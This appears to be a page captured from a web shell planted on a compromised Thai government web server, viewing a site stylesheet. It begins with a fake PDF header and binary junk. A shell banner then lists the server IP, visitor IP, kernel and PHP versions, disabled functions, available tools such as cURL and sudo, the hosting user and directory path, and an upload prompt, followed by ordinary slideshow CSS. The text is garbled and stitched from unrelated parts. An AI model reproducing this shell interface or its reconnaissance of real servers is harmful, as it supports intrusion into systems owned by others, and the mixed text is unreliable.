%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
Server IP : 122.155.17.190 / Your IP : 3.22.242.110 Web Server : Apache/2 System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 User : bungkla ( 1054) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bungkla/domains/bungkla.go.th/private_html/css/ |
Upload File : |
/* CSS Document */ body { font: 14px/2 "Open sans",sans-serif; letter-spacing: 0.05em; } .btn { display: inline-block; padding: 13px 20px; color: #fff; text-decoration: none; position: relative; background: transparent; border: 1px solid #e1e1e1; font: 12px/1.2 "Oswald", sans-serif; letter-spacing: 0.4em; text-align: center; text-indent: 2px; text-transform: uppercase; transition: color 0.1s linear 0.05s; &::before { content: ""; display: block; position: absolute; top: 50%; left: 0; width: 100%; height: 1px; background: #e1e1e1; z-index: 1; opacity: 0; transition: height 0.2s ease, top 0.2s ease, opacity 0s linear 0.2s; } &::after { transition:border 0.1s linear 0.05s; } .btn-inner { position: relative; z-index: 2; } &:hover { color: #373737; transition: color 0.1s linear 0s; &::before { top: 0; height: 100%; opacity: 1; transition: height 0.2s ease, top 0.2s ease, opacity 0s linear 0s; } &::after { border-color: #373737; transition:border 0.1s linear 0s; } } } .slideshow { overflow: hidden; position: relative; width: 100%; height: 100vh; z-index: 1; .slideshow-inner { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } .slides { position: absolute; top: 0; left: -502px; width: 1523px; height: 100%; z-index: 1; } .slide { display: none; overflow: hidden; position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 1; opacity: 0; transition: opacity 0.3s ease; &.is-active { display: block; } &.is-loaded{ opacity: 1; } .caption { padding: 0 100px; } .image-container { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-position: center; z-index: 1; background-size: cover; image-rendering: optimizeQuality; &::before { content: ""; display: block; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); } } .image { width: 100%; width: 100%; object-fit: cover; height: 100%; } &-content { position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 2; color: #fff; text-align: center; display: flex; justify-content: center; align-items: center; } .title { margin: 0 auto 15px; max-width: 1000px; font: 300 50px/1.2 "Oswald", sans-serif; letter-spacing: 0.35em; text-transform: uppercase; } .text { margin: 0 auto; max-width: 1000px; font-size: 18px; line-height: 1.4; } .btn { margin: 15px 0 0; border-color: #fff; &::before { background:#fff } } } .pagination { position: absolute; bottom: 35px; left: 0; width: 100%; height: 12px; cursor: default; z-index: 2; text-align: center; .item { display: inline-block; padding: 15px 5px; position: relative; width: 46px; height: 32px; cursor: pointer; text-indent: -999em; z-index: 1; + .page { margin-left: -2px; } &::before { content: ""; display: block; position: absolute; top: 15px; left: 5px; width: 36px; height: 2px; background: rgba(255, 255, 255, 0.5); transition: background 0.2s ease; } &::after { width: 0; background: #fff; z-index: 2; transition: width 0.2s ease; } &:hover::before, &.is-active::before { background-color: #fff; } } } .arrows { .arrow { margin: -33px 0 0;padding: 20px;position: absolute;top: 50%;cursor: pointer;z-index: 3; } .prev { left: 30px; &:hover .svg { left: -10px; } } .next { right: 30px; &:hover .svg { left: 10px; } } .svg { position: relative; left: 0; width: 14px; height: 26px; fill: #fff; transition: left 0.2s ease; } } }